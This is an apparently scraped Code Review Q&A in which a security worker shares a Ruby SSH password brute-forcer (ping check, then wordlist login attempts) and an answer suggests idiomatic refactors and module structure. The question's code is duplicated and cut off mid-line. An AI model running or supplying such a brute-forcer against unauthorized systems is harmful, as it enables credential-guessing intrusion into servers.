patternrubyModerate
Simple SSH bruteforcer in Ruby
Viewed 0 times
simplebruteforcersshruby
Problem
I'm pretty new to Ruby, and working in the IT security field, I thought to make something useful to my work while I learn the language (even though I'm reinventing the wheel).
The script is working fine and doing what I wanted it to, first checking connectivity thanks to ICMP and then bruteforcing through a wordlist to see if the SSH connection is accepted or not, and move on until it is (or the end of the file).
The usage is as follows:
My first concern is that I like learning a language properly and writing in its particular style, not having code that "just works". Also the code seems pretty slow to similar programs I have used before, and I would like to know if it had anything with the way it was written or if Ruby is just slower as C for example.
```
require 'net/ssh'
require 'net/ping'
#Checking arguments and setting them into variables
if ARGV.length != 3
puts "Please RTFM !"
exit
end
target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s
#Checking network connectivity is good enough (more than 3/5 pings)
icmp = Net::Ping::ICMP.new(target)
network = 0
(1..5).each do
if icmp.ping
network += 1
end
end
if network >= 3
puts "Network connectivity with the target is OK !"
else
puts "Network connectivity with the target seems poor, please check it then try again ! "
exit
end
#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.
wordlist = open(wordlist_file, "r")
linecounter = 0
#Main part, each pass tries to connect to the target using the supplied user + the current line of the list as a password. If it succeeds it exits the program
while pass = wordlist.gets.chomp()
linecounter += 1
print "\rTrying password #{pass}, progress : #{linecounter}/#{total_lines} !"
begin
result1 = Net::SSH.start(target,
user,
:passwo
The script is working fine and doing what I wanted it to, first checking connectivity thanks to ICMP and then bruteforcing through a wordlist to see if the SSH connection is accepted or not, and move on until it is (or the end of the file).
The usage is as follows:
./ssh_brute.rb IP_ADDRESS USER PATH_TO_WORDLISTMy first concern is that I like learning a language properly and writing in its particular style, not having code that "just works". Also the code seems pretty slow to similar programs I have used before, and I would like to know if it had anything with the way it was written or if Ruby is just slower as C for example.
```
require 'net/ssh'
require 'net/ping'
#Checking arguments and setting them into variables
if ARGV.length != 3
puts "Please RTFM !"
exit
end
target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s
#Checking network connectivity is good enough (more than 3/5 pings)
icmp = Net::Ping::ICMP.new(target)
network = 0
(1..5).each do
if icmp.ping
network += 1
end
end
if network >= 3
puts "Network connectivity with the target is OK !"
else
puts "Network connectivity with the target seems poor, please check it then try again ! "
exit
end
#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.
wordlist = open(wordlist_file, "r")
linecounter = 0
#Main part, each pass tries to connect to the target using the supplied user + the current line of the list as a password. If it succeeds it exits the program
while pass = wordlist.gets.chomp()
linecounter += 1
print "\rTrying password #{pass}, progress : #{linecounter}/#{total_lines} !"
begin
result1 = Net::SSH.start(target,
user,
:passwo
Solution
target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_sAren't those Strings already?
network = 0
(1..5).each do
if icmp.ping
network += 1
end
endwould be more idiomatic as:
network = 5.times.count do
icmp.ping
end#count will count how many times block returned true, exactly what you want.Ruby has "perlish" globals like
$., but they are currently advised against, and Matz even stated how he regrets ever adding them. count could help you here as well:total_lines = File.foreach(wordlist_file).countNotice how without a block
#count counts everything. Anyway, all stuff with counting lines and while loop in your code is unnecessarily complicated, if you want to loop through lines in a file, #foreach does just that:File.foreach(wordlist_file).with_index do |line, idx|
# process line(from file, you need chomp) and idx here
endNo need for linecounter, and Ruby will close the file at the end of block. In general, we let the Ruby iterate for us. Get a good grasp of iterators and Enumerable module, it makes things much easier.
Minor, less important thingies:
puts "\nThe password is #{pass}"
exitequals:
abort "\nThe password is #{pass}"Style issue, common Ruby agreement is too use 2 spaces indentation.
Unless I missed something, there are no obvious and reasonable optimizations, apart from getting rid of:
#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.I don't know what you expected, but this code just iterates whole file and checks where it needed to stop, so you basically process this file twice. As in my example of processing file, you can just use
#foreach to process it, Ruby will know when to stop iterating.Still, Ruby is much slower than C or Java, it's just the way it is.
Oh, I forgot the obvious last time. If you structured your code into methods, and put them in a module, this script would become much more reusable tool.
module Brute
def self.force(target, user, wordlist_file)
if check_connectivity(target)
wordlist = read_wordlist(wordlist_file)
wordlist.each do |password|
# ...
end
else
# ...
end
end
def password_correct?(target, user, pasword)
# ...
end
def check_connectivity(target)
# ...
end
def read_wordlist(wordlist_file)
# returns array of passwords
end
end
if __FILE__ == $0
if ARGV.length != 3
abort "Please RTFM !"
end
Brute.force(ARGV[0], ARGV[1], ARGV[2])
endYou could than
require this file and use Brute.force(,,) in any other script, but if __FILE__ == $0 is a common Ruby idiom than checks if file we are in is the file that was run, so you could also just run it from command line like it used to work.Code Snippets
target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_snetwork = 0
(1..5).each do
if icmp.ping
network += 1
end
endnetwork = 5.times.count do
icmp.ping
endtotal_lines = File.foreach(wordlist_file).countFile.foreach(wordlist_file).with_index do |line, idx|
# process line(from file, you need chomp) and idx here
endContext
StackExchange Code Review Q#106355, answer score: 10
Revisions (0)
No revisions yet.